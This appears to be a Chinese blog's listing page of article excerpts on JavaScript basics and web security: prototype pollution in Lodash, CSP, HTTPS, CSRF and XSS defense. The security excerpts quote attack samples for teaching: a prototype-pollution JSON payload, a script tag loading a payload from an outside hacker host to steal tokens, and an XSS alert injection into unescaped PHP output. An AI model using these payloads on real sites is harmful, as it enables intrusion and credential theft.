解构赋值

解构赋值概念 解构赋值语法是一种 Javascript 表达式。 通过解构赋值,可以将属性/值从对象/数组中取出,赋值给其他变量。 解构赋值是通过将结构中的各元素复制到变量中来达到“解构”的目的。但对象/数组本身不会被修改。 数组解构 基本使用 📖 可以在定义变量的同时,使用解构进行赋值 let [one, two, three] = foo; //等同于 let one = foo[0]; let two = foo[1]; let three = foo[2]; 📖 也可以先声明变量,在进行解构赋值 设置默认值 当【左边≠右边】时,可以先设置一个默认值,否则取不到值的变量会变成undefined 剩余值处理 可以使用三个点 "..."+ 参数来接收剩余的所有元素,变量名称随意,必须在最后一个参数的位置上 进阶用法 🎨 可以和split 函数结合使用,比如 let [Mother,Father] = "judy,pete".split(','); console.log(Mother) //judy console.log(Father) //pete 🎨 可以使用逗号忽略元素,比如 let [name1,,name3] = ["Julius01", "Caesar02", "Consul03"] 🎨 可以直接赋值给对象的属性,比如 let user = {}; [user.name, user.surname] = ["Ilya","Kantor"] ...

October 2, 2024

第三方库的安全

从一个安全漏洞说起 Lodash 是一款非常流行的 npm 库,每月的下载量超过 8000 万次,GitHub 上使用它的项目有超过 400 万。之前有段时间, Lodash 的一个安全漏洞刷爆了朋友圈,我们先来回忆下这个安全漏洞: 攻击者可以通过 Lodash 的一些函数覆盖或污染应用程序。例如:通过 Lodash 库中的函数 defaultsDeep 可以修改 Object.prototype 的属性。 我们都知道,JavaScript 在读取对象中的某个属性时,如果查找不到就会去其原型链上查找。试想一下,如果被修改的属性是 toString 方法: const payload = '{"constructor": {"prototype": {"toString": true}}}' _.defaultsDeep({}, JSON.parse(payload)) 每个对象都有一个 toString() 方法,当该对象被表示为一个文本值时,或者一个对象以预期的字符串方式引用时自动调用。默认情况下,toString() 方法被每个 Object 对象继承。如果此方法在自定义对象中未被覆盖,toString() 返回 [object type],其中 type 是对象的类型。如果覆盖了 toString() 方法,那么给应用带来的影响就是非常大的。 其实上述的问题就属于一个很常见的安全漏洞 —— 原型污染 原型污染:攻击者通过某种手段修改 JavaScript 对象的原型(prototype) 然而这并不是 Lodash 第一次爆出安全漏洞了。事实上,像这样的安全漏洞还可能存在于我们使用的千千万万个不同的开源依赖中,如果我们平时不重视他们,一旦出现问题对我们的项目造成的损失是不可估计的。这相当于你的项目中埋着很多不知道什么时候就会爆炸的炸弹。 安全调查 其实开发人员对开源代码的安全性的信任程度要大于对自己编写的代码的安全性的信任程度,但是在确保代码安全性和质量的工具还有很多不足之处。在 npm 还没有一个完善的安全检测机制之前,npm 和 NodeJs 团队曾经对数万名 JavaScript 开发者发起过一个调查,第一个问题就是安全问题,具体就是开发人员如何看待他们编写的代码和所使用的开源项目的安全性。 调查结果显示:全球 97% 的 JavaScript 开发人员在自己开发的项目中都依赖开源代码,77% 的开发人员对他们使用的开源代码是否安全表示担忧。更有趣的是,有 87% 的人表示担心自己的代码的安全性。 ...

October 2, 2024

箭头函数

一、箭头函数的特点 1. 相比普通函数,箭头函数有更加简洁的语法。 普通函数 function add(num) { return num + 10 } 箭头函数 const add = num => num + 10; 2. 箭头函数不绑定this,会捕获其所在上下文的this,作为自己的this。 这句话需要注意的是,箭头函数的外层如果有普通函数,那么箭头函数的this就是这个外层的普通函数的this,箭头函数的外层如果没有普通函数,那么箭头函数的this就是全局变量。 下面这个例子是箭头函数的外层有普通函数。 let obj = { fn:function(){ console.log('我是普通函数',this === obj) // true return ()=>{ console.log('我是箭头函数',this === obj) // true } } } console.log(obj.fn()()) 下面这个例子是箭头函数的外层没有普通函数。 let obj = { fn:()=>{ console.log(this === window); } } console.log(obj.fn()) // true 3. 箭头函数是匿名函数,不能作为构造函数,不可以使用new命令,否则后抛出错误。 ...

October 2, 2024

Content Security Policy

跨域脚本攻击 XSS(Cross Site Scripting) 是最常见、危害最大的网页安全漏洞。 比如网站有个留言板功能,但后台未对用户输入进行过滤,攻击者可以在留言编辑框中输入 <script src="http://www.hacker.org/xss.payload.js"></script> xss.payload.js可以获取老浏览用户的信息,如登录token、用户的个人资料等。以前的防御手段主要是对用户输入进行过滤如:去除html标签,实体化,关键字过滤等等,这样一来,最终的结果就是后台的大多数代码都是在做字符串验证,非常的让人不舒服。 为了防止它们,要采取很多编程措施,非常麻烦。很多人提出,能不能根本上解决问题,浏览器自动禁止外部注入恶意脚本? 所以W3 org引入了CSP,它从另外一层面给浏览器提供了保护。这就是"网页安全政策"(Content Security Policy,缩写 CSP)的来历。本文详细介绍如何使用 CSP 防止 XSS 攻击。 一、简介 CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。严格规定页面中哪些资源允许有哪些资源,不在指定范围内的统统拒绝。它的实现和执行全部由浏览器完成,开发者只需提供配置。 CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。 两种方法可以启用 CSP。 一种是通过 HTTP 头信息的Content-Security-Policy的字段。 Content-Security-Policy: script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https: 另一种是通过网页的<meta>标签。 <meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:"> 上面代码中,CSP 做了如下配置。 脚本:只信任当前域名 <object>标签:不信任任何URL,即不加载任何资源 样式表:只信任cdn.example.org和third-party.org 框架(frame):必须使用HTTPS协议加载 其他资源:没有限制 启用后,不符合 CSP 的外部资源就会被阻止加载。 Chrome 的报错信息。 二、限制选项 CSP 提供了很多限制选项,涉及安全的各个方面。 2.1 资源加载限制 以下选项限制各类资源的加载。 script-src:外部脚本 style-src:样式表 img-src:图像 media-src:媒体文件(音频和视频) font-src:字体文件 object-src:插件(比如 Flash) child-src:框架 frame-ancestors:嵌入的外部资源(比如<frame>、<iframe>、<embed>和<applet>) connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等) worker-src:worker脚本 manifest-src:manifest 文件 2.2 default-src default-src用来设置上面各个选项的默认值。 ...

October 2, 2024

默认参数

一、参数传递 代码语言:javascript function foo(a, b) { console.log([a, b]); } foo(1, 2); // 输出 [1, 2] 这个例子中,a 和 b 属于函数中的局部变量,只能在函数中访问。调用函数时,传递的数据会根据位置来匹配对应,分别赋值给 a 和 b。 创建函数时,function 函数名 后面括号中设定的参数被称为形参;调用函数时,函数名后面括号中传入的参数被称为实参。上面例子中,a 和 b 是形参,传入的 1 和 2 是实参。 因为形参是已声明的变量,所以不能再用 let 和 const 重复声明。 代码语言:javascript function foo(a, b) { let a = 1; // 报错,a 已声明 const b = 1; // 报错,b 已声明 } JavaScript 中所有函数传递都是按值传递的,不会按引用传递。所谓的值,就是指直接保存在变量上的值,如果把对象作为参数传递,那么这个值就是这个对象的引用,而不是对象本身。这里实际上是一个隐式的赋值过程,所以给函数传递参数时,相当于从一个变量赋值到另一个变量。 原始值: 代码语言:javascript function add(num) { return num + 1; } let count = 5; let result = add(count); // 此处参数传递的过程可以看作是 num = count console.log(count); // 5 console.log(result); // 6 引用值: ...

October 2, 2024

https

阅读本文之前,咱们先来看几道面试题: 什么是HTTPS? HTTPS改进HTTP存在的哪些问题? HTTPS加密原理是什么? 什么是对称加密和非对称加密? HTTPS传输过程? 什么是数字证书?为什么需要数字证书? 为什么需要数字签名? … 如果你能准确无误的回答以上问题,你可以不用继续往下面看了,如果不能,通过阅读这篇文章,我相信你肯定能完全掌握HTTPS。好了废话不多说,我们开始。 什么是 HTTPS 当我们在访问一个地址采用HTTPS协议的Web网站时,浏览器的地址栏内会出现一个带锁的标记,就像这样: 我们想要了解一个东西之前,我们得先知道它是什么,那么HTTPS是什么呢? 可能很多同学都能说道说道:“HTTPS就是能够给我们的请求加密的一个东西”。的确,我们都知道,HTTPS可以加密,但是很多同学的理解仅限于此,无法深层次的理解HTTPS。那么到底什么是HTTPS? HTTPS是在HTTP上建立SSL加密层,并对传输数据进行加密,是HTTP协议的安全版。 说得再简单一点,HTTPS就是 HTTP + SSL: 哦明白了,原来HTTPS就是“披着羊皮的狼”啊。HTTP你肯定是理解的,如果不理解,建议先去阅读HTTP相关知识。 那SSL又是什么呢? 我们都知道,HTTP是应用层的协议,HTTP是直接和TCP通信的,当我们更换为HTTPS的时候,它就演变成了,先和SSL通信、然后再由SSL和TCP通信了。知道了这一流程,我们思考一下,加密过程是在哪个过程进行的? 结果很显然,加密过程就是在HTTP->SSL这一阶段实现的,所以SSL简单来说,就是实现HTTP的加密过程: 对称加密和非对称加密、散列函数这些又是啥啊?没事后面会讲,这些概念你先记住咯。 HTTPS 有什么用 在讲明HTTPS的作用之前,我们先来看看HTTP有哪些弊端: 和服务器通信时,直接采用明文传输,那么明文内容有可能被挟持监听和篡改 由于HTTP本身不具备加密的功能,所以无法做到对通信内容进行加密。也就是说,我们传输的方式,都是直接以明文的形式进行传输,这些明文数据会经过中间代理服务器、路由器、wifi热点、通信服务运营商等多个物理节点,相当于所有通信的数据都在网络中裸奔,想想都刺激。 那么显而易见,明文传输有什么缺陷呢?明文传输可能会导致数据泄露、数据篡改、流量劫持、钓鱼攻击等一系列危险。假设有这么一个场景,某一天,你的另一个女朋友过生日,于是你用浏览器登录了你的邮箱,想给她发送一封生日祝福的邮件。假如这个邮箱网站使用的是HTTP协议,当你点击发送的时候,你的“祝福内容”(注意:是明文),被某个黑客拦截到,然后将这份“祝福内容”直接转发到你的“现任女朋友”,那后果简直不堪设想。 和服务器通信时,无法验证身份 使用HTTP发起请求时,服务器不会验证请求方的身份,响应请求时,请求方也不会验证服务方的身份。说简单点就是,任何人都可以发起请求,同时,服务器只要接收到请求,不管对方是谁都会返回一个响应。所以任何人都可以伪造虚假服务器欺骗用户,实现“钓鱼欺诈”,用户无法察觉,这也是为啥以前我们的qq号老是被盗的原因。 了解到HTTP这些缺陷之后,我们就自然知道了HTTPS到底有什么用: 保证数据的安全性(加密我们的明文数据) 保证数据的完整性 身份认证 HTTPS如何加密(SSL过程) 通过上面的内容,我们知道了HTTPS能够对数据进行加密,那么它具体是如何加密的呢? 这里我们需要先了解两种加密方式: 对称加密 非对称加密 别觉得它们会有多么难理解,心中坚信,一切计算机网络的知识都是纸老虎。 什么是对称加密 那么什么是对称加密呢? 简单说就是有一个密钥,它可以加密数据,也可以对加密后的数据进行解密。试想有这样一个场景:两个港口需要运送一批货物,发货方发货时,将货物装进集装箱并用一把锁将集装箱锁起来,收货方收到货物时,需要用同样的钥匙(不一定是同一把)将集装箱打开,从而取出货物。 所以简单来说,对称加密就是通信双方都有一把同样的钥匙,用于打开同一个集装箱(解密),从而获取数据的一种方式: HTTPS用对称加密可行吗 如果通信双方(浏览器和服务器)都各自拥有同样的私钥,在发送方发送数据之前,将数据锁(加密)起来,然后接收方再用私钥解锁(解密),这样就能完美的保证通信的安全。但是关键的问题就在于,在通信之前,服务器或者浏览器如何同时拥有一把同样的私钥呢?我们来想想办法: 1、服务器给浏览器传输私钥 当浏览器发起请求到服务器时,服务器生成一个私钥,然后传输给浏览器,浏览器拿到之后,他们正式通信就开始用这一个私钥进行加密通信,不就行了?那么问题又来了,假设在传输私钥本身的过程中,被中间人挟持了怎么办?中间人拿到私钥之后,就可以解密通信双方的加密内容了,所以这样做肯定是不可行的。 2、在浏览器里面预留服务器提供的私钥。如果我们浏览器一开始就预留了目标网站的私钥,那这样通信的时候,就只有天知地知你知我知了,这不就行了?但是问题的关键是,世界上的网站千千万,浏览器要预留全部HTTPS协议网站的私钥,这显然不可能啊。 很显然,以上两种假设,都不能实现我们想要的加密效果,所以对称加密暂时被我们 pass. 什么是非对称加密 既然对称加密不行,那么我们就需要考虑非对称加密了,那非对称加密又是什么呢? 我们还是来看看还是刚刚上面👆那个运送货物的例子: 两个港口需要运送一批货物,发货方发货时,将货物装进集装箱并用一把锁(我们将其称为公钥)将集装箱锁起来,收货方收到货物时,需要用另外一把钥匙(我们将其称为私钥)将集装箱打开,从而取出货物。 注意这里的关键是:当通信的一方使用公钥时,另外一方只能使用私钥,反之亦然。 简单的来说就是有两把密钥,一把叫做公钥、一把叫私钥。用公钥加密的内容必须用私钥才能解开,同理,私钥加密的内容只有公钥能解开。公钥对于私钥来说是非对称的,所以我们把这种加密方式称为非对称加密: HTTPS用非对称加密可行吗 我们利用非对称加密来模拟一下浏览器和服务器通信的过程。 浏览器向服务器发起请求,服务器收到请求之后,将公钥传输给浏览器,然后在接下来的通信中,浏览器要向服务器发送数据时,先用公钥将数据加密,然后发送给服务器,服务器收到之后,再用对应的私钥进行解密,这样就保证了浏览器->服务器这条路的数据安全。因为浏览器发送给服务器的数据,只有服务器有私钥能够解密它。那么反过来,服务器->浏览器这条路的通信是否安全呢? 捋一捋刚刚的过程,我们就会发现,一开始我们的服务器将公钥传输给浏览器这一步骤,显然是在明文形式下进行传输的。假设这一过程,我们的公钥被中间人挟持了,想想会发生什么情况?显然有了这个公钥,中间人就能解密由服务器利用私钥加密的数据了,虽然他不能解密浏览器端的数据,但是此时他可以伪造请求,服务器收到请求之后,利用私钥解密请求数据,之后响应请求,并用私钥对响应数据加密,接着返回给请求方,由于此时这个中间人是有对应的公钥的,所以他就能直接解密服务器返回的数据。 ...

October 2, 2024

模版字符串

未见过的函数用法: function fun(strings,params1){ console.log(strings); console.log(params1) } fun`params1 = ${333}` // 输出分别为 // ['params1 = ', ''] // 333 不知道各位在学习或开发中有没有遇到过这样的函数调用方式呢?秉承着我没遇到的东西就要发文章来分享分享的原则,经过我查阅资料并加以学习,就让本文来带大家了解一下JS中的标签函数吧。 模板字符串 标签函数的主要作用就是处理模板字符串,所以在了解标签函数之前先了解一下模板字符串(模板字面量)吧。 基本用法 模板字符串是ES6新增的使用模板字面量定义字符串的能力,用反引号```````` 进行分隔。与使用''或""的定义的字符串字面量不同是模板字面量保留换行字符,可以跨行定义字符串。 例如: let str1 = 'xxhh\n2233' let str2 = `xxhh 2233` console.log(str1 === str2) // 结果为true 要注意的是模板字符串中的所有字符都会包含在字符串中,特别在使用缩进的时候,缩进的空格都会包含在字符串中。 let str = ` <div> <h1>xxhh</h1> </div> ` console.log(str.length) // 结果为44,包含了缩进所产出的所有空格 字符串插值 在没有模板字符串时,我们通常会使用+加法运算符来进行字符串的拼接,但有了模板字符串后我们并可通过插值占位符${}来将各字面量、变量或表达式结果来进行拼接,这样可以更容易地创建复杂和动态的字符串,同时保持代码的可读性和简洁性。这是模板字符串最常用的一个特性。 let name = 'xxhh'; let str1 = "name:"+name; let str2 = `name:${name}`; console.log(str1,str2) // name:xxhh name:xxhh console.log(str1 === str2) // true 要注意的是使用字符串插值的所有插入的值都会使用toString()强制转型为字符串,而且任何JavaScript 表达式都可以用于插值。 ...

October 2, 2024

CSRF攻击

CSRF是什么 CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求,利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。 一个典型的CSRF攻击有着如下的流程: 受害者登录a.com,并保留了登录凭证(Cookie)。 攻击者引诱受害者访问了b.com。 b.com 向 a.com 发送请求。 a.com接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求。 a.com以受害者的名义执行了这个请求。 攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让a.com执行了自己定义的操作。 CSRF的特点 攻击一般发起在第三方网站,而不是被攻击的网站。被攻击的网站无法防止攻击发生 攻击利用受害者在被攻击网站的登录凭证,冒充受害者提交操作;而不是直接窃取数据 整个过程攻击者并不能获取到受害者的登录凭证,仅仅是“冒用” 跨站请求可以用各种方式:图片URL、超链接、CORS、Form提交等等。 如何进行预防 CSRF通常从第三方网站发起,被攻击的网站无法防止攻击发生,只能通过增强自己网站针对CSRF的防护能力来提升安全性。 防止csrf常用方案如下: 阻止不明外域的访问 同源检测 Samesite Cookie 提交时要求附加本域才能获取的信息 CSRF Token 双重Cookie验证 同源检测 Cookie的同源和浏览器的同源策略有所区别: 浏览器同源策略:协议、域名和端口都相同即同源; Cookie同源策略:域名相同即同源; 在HTTP协议中,每个异步请求都会携带两个header,用来标记来源域名: Origin Header Referer Header 这两个Header在浏览器发起请求时,大多数情况会自动带上,并且不能由前端修改,服务器接收到后可以根据这两个Header确定来源的域名; 综上所述: 同源验证是一个相对简单的防范方法,能够防范绝大多数的CSRF攻击。但这并不是万无一失的,对于安全性要求较高,或者有较多用户输入内容的网站,我们就要对关键的接口做额外的防护措施。 Samesite Cookie属性 在Chrome 51版本后,浏览器的 Cookie 新增加了一个SameSite属性,用来防止 CSRF 攻击。 Cookie的Samesite属性用来限制第三方Cookie, 从而减少安全风险,它有三个值: Set-Cookie: SameSite = Strict; Set-Cookie: SameSite = Lax; Set-Cookie: SameSite = None; Strict: 最为严格,完全禁止第三方Cookie, 跨站点时,任何情况都不发送Cookie; Lax: 限制稍微宽松,大多数情况下时不发送第三方Cookie的,除了a链接、预加载请求和GET表单; None: 关闭SameSite属性,但必须同时设置Secure属性, ...

October 2, 2024

XSS防御

一、简述 跨站脚本(Cross-site scripting,简称为:CSS, 但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,跨站脚本攻击缩写为XSS)是一种网站应用程序的安全漏洞攻击。 XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、 LiveScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。 二、XSS类型 最常见的几种分类:反射型(非持久型)XSS、存储型(持久型)XSS、DOM型XSS、通用型XSS、突变型XSS。 反射型XSS 反射型XSS只是简单的把用户输入的数据从服务器反射给用户浏览器,要利用这个漏洞,攻击者必须以某种方式诱导用户访问一个精心设计的URL(恶意链接),才能实施攻击。 举例来说,当一个网站的代码中包含类似下面的语句: <?php echo "<p>hello,$_GET['user']</p>"; ?> 如果未做防范XSS,用户名设为<script>alert("Tz")</script>,则会执行预设好的JavaScript代码。 漏洞成因 当用户的输入或者一些用户可控参数未经处理地输出到页面上,就容易产生XSS漏洞。主要场景有以下几种: 将不可信数据插入到HTML标签之间时;// 例如div, p, td; 将不可信数据插入到HTML属性里时;// 例如:<div width=$INPUT></div> 将不可信数据插入到SCRIPT里时;// 例如:<script>var message = ” $INPUT “;</script> 还有插入到Style属性里的情况,同样具有一定的危害性;// 例如<span style=” property : $INPUT ”></span> 将不可信数据插入到HTML URL里时,// 例如:<a href=”[http://www.abcd.com?param=](http://www.ccc.com/?param=) $INPUT ”></a> 使用富文本时,没有使用XSS规则引擎进行编码过滤。 对于以上的几个场景,若服务端或者前端没有做好防范措施,就会出现漏洞隐患。 攻击流程 反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor(chrome内置的XSS保护)、NoScript等防御手段的影响较大,所以它的危害性较存储型要小。 存储型XSS ​ 存储型(或 HTML 注入型/持久型)XSS 攻击最常发生在由社区内容驱动的网站或 Web 邮件网站,不需要特制的链接来执行。黑客仅仅需要提交 XSS 漏洞利用代码(反射型XSS通常只在url中)到一个网站上其他用户可能访问的地方。这些地区可能是博客评论,用户评论,留言板,聊天室,HTML 电子邮件,wikis,和其他的许多地方。一旦用户访问受感染的页,执行是自动的。 漏洞成因 ​ 存储型XSS漏洞的成因与反射型的根源类似,不同的是恶意代码会被保存在服务器中,导致其它用户(前端)和管理员(前后端)在访问资源时执行了恶意代码,用户访问服务器-跨站链接-返回跨站代码。 攻击流程 DOM型XSS 通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。 ...

October 2, 2024

Let/Const

Var 在 ES6 出现之前,必须使用 var 声明。但是,前端开发出现的一些问题与使用 var 声明的变量有关。这就是为什么必须要有新的方法来声明变量。首先,让我们在讨论这些问题之前更多地了解 var。 var 的作用域 作用域本质上是指变量/函数可供访问的范围。var可以在全局范围声明或函数/局部范围内声明。 当在最外层函数的外部声明var变量时,作用域是全局的。这意味着在最外层函数的外部用var声明的任何变量都可以在windows中使用。 当在函数中声明var时,作用域是局部的。这意味着它只能在函数内访问。 要进一步了解,请查看下面的示例。 var greeter = 'hey hi'; function newFunction() { var hello = 'hello'; } 这里,greeter是全局范围的,因为它存在于函数外部,而hello是函数范围的。因此,我们无法在函数外部访问变量hello。因此,如果我们这样做: var tester = 'hey hi'; function newFunction() { var hello = 'hello'; } console.log(hello); // error: hello is not defined 我们会收到错误消息,这是由于函数外部没有hello导致的。 var 变量可以重新声明和修改 这意味着我们可以在相同的作用域内执行下面的操作,并且不会出错 var greeter = 'hey hi'; var greeter = 'say Hello instead'; 又比如 var greeter = 'hey hi'; greeter = 'say Hello instead'; var 的变量提升 变量提升是 JavaScript 的一种机制:在执行代码之前,变量和函数声明会移至其作用域的顶部。这意味着如果我们这样做: console.log(greeter); var greeter = 'say hello'; 生面的代码会被解释为: var greeter; console.log(greeter); // greeter is undefined greeter = 'say hello'; 因此,将var声明的变量会被提升到其作用域的顶部,并使用 undefined 值对其进行初始化. ...

October 2, 2024